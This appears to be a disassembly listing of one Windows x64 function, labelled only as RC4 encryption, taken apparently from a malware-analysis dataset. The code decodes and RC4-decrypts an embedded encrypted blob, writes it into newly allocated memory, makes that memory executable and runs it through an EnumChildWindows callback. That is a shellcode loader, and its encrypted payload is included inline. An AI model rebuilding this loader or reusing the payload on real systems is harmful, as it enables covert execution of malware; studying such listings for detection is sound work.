Function at 0x140001130
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xd0], rax
mov ecx, 0x468
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0x468
lea rdx, str.W2MH4vYWT2BdABIITGR6wmRDv7RDVtHTdXtnRvkJZFmBvy_DI9DiPiYfDYMsd5GUtgn0f9XptV7isP4WosbTuANFSL09em2tc3t6ZOzUUPsBLUmLtK8P3G2oozeXuRZjArMb4GT5f1iaVlu7TCCX399yB0UOAyfgqDaBqPazh5WWFhq6X_Gp7WNLEWplq1HxyuI8MaCHuzIBnzX80MwMZawlbB3UZLcprf16Q3lTK1Ed8RKHCtmwZIxw2GwT5K16CmMLipWzCTCtMZQwB4D7SLoDSWTLEomaqNozwliDM6jKR3rrAqlXQacAIROqvlpdOTCyFtZqQ_nhJT_g_6UdfMgFzBBRobFZwgVkIClhk2G2vdnK3rjj1mDnaQsAu9Z_KVFHT3pGzmIr47Bt4khql16x5Ttufxv0AyruWJDSElfZZtao9A8P1JGEoiwrcqRNerAbUmaqjcZRqVqCjSP7N8F8hdpclA_P1W8ogj7mfGGBWll8O64gitUocltMITOjOxrtst2dZ4uxxKddC6lpgiV7t__ejOY0uqoCsxTgfaKMU6uWELR5qxj5ToK4loksBmPO2tcvkGgnEVNRxBnGiIWH17JkLo8bKoerg65abeU51J50UCpuXwuRx7AD2BMQ53NFFyoWiPzYbhTIFsdavnWvK6isgyV_CwYbzjjqSSBpVIfp3GZSVTl4nm2HIpyRyAI1AqbyDAYdqTrpmHCW8PqBpVt0sY6NiBsn3C75XQDkP944Lw_RhvOlx1llujPT4g8ix0XTfhFw2voCrbCTGXpmuyWR2L9f09lVCAWkAlAmaGh_pMFjbMS6yGoGzdhoL_lwPG_YCDfTXPh6n8rRcrvBycNF98bAtJf8yclFk4S2BapFkXbapezHsAQ9n7VTKW0bmmyAPFEbS0fRB0LmGtlmP0O8SaehqDBcMiKfYeElkQ6BYOeOgtMvp7IE6Dunsb2P59ZOJLgc4K7GoNx_i3dGfml8Q96y4DNogfQJvO0WwWobmi3DGvq3lEfqYXDtH8VHF1ytSLStgwDSB9Ia2krSofCGY23ufhTyewpjaNTy0wGZuqTd55G24MnRi1StsE9mASKpIMVW9hIY5w
mov rcx, rax
mov rdi, rax
call section..text
movsxd rcx, eax
mov qword [rsp + 0x30], rcx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movups xmm0, xmmword [str.YTBWDaJEGFAxviRfnbgMmkLrXIdQwlZzsVpqUSKOyPhuCHte]
movzx ecx, byte [0x14000a700]
mov rsi, rax
movups xmm1, xmmword [0x14000a6e0]
mov byte [rbp - 0x38], cl
lea rax, [rbp - 0x68]
movups xmmword [rbp - 0x68], xmm0
mov r9, 0xffffffffffffffff
movups xmm0, xmmword [0x14000a6f0]
movups xmmword [rbp - 0x58], xmm1
movups xmmword [rbp - 0x48], xmm0
nop word [rax + rax]
inc r9
cmp byte [rax + r9], 0
jne 0x1400011d0
xor r8d, r8d
lea rcx, [rbp - 0x30]
xor eax, eax
nop dword [rax]
nop word [rax + rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jl 0x1400011f0
xor r10d, r10d
lea r11, [rbp - 0x30]
nop word [rax + rax]
movzx ebx, byte [r11]
mov eax, r10d
cdq
idiv r9d
movsxd rax, edx
movsx ecx, byte [rbp + rax - 0x68]
add r8d, ecx
add r8d, ebx
and r8d, 0x800000ff
jge 0x14000123f
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rbp - 0x30]
add rcx, rax
inc r10d
movzx eax, byte [rcx]
mov byte [r11], al
inc r11
mov byte [rcx], bl
cmp r10d, 0x100
jl 0x140001210
movsxd rbx, dword [rsp + 0x30]
xor eax, eax
xor r8d, r8d
test rbx, rbx
je 0x1400012e0
mov r11, rsi
sub rdi, rsi
inc eax
and eax, 0x800000ff
jge 0x140001287
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rbp - 0x30]
add r9, rcx
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x1400012ae
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rbp - 0x30]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx ecx, byte [r9]
add rcx, r10
movzx ecx, cl
movzx edx, byte [rbp + rcx - 0x30]
xor dl, byte [rdi + r11]
mov byte [r11], dl
inc r11
sub rbx, 1
jne 0x140001275
mov ecx, 0x468
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0x468
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call section..text
movsxd rcx, eax
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x50], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xorps xmm0, xmm0
mov dword [rsp + 0x68], 0x30
movsxd rcx, eax
lea r9, [rsp + 0x48]
mov qword [rsp + 0x48], rcx
lea r8, [rsp + 0x68]
xor eax, eax
lea rcx, [rsp + 0x40]
mov edx, 0x1fffff
mov qword [rbp - 0x70], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
call fcn.140001fa0
test eax, eax
js 0x1400013ee
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
mov qword [rsp + 0x38], 0
call fcn.140001c60
test eax, eax
js 0x1400013ee
mov r9, qword [rsp + 0x30]
lea rax, [rsp + 0x60]
mov rdx, qword [rsp + 0x38]
mov r8, rbx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.1400024a0
test eax, eax
js 0x1400013ee
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
call fcn.140002a20
test eax, eax
js 0x1400013ee
mov rdx, qword [rsp + 0x38]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumChildWindows]
xor eax, eax
jmp 0x1400013f3
mov eax, 1
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.140008f30
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret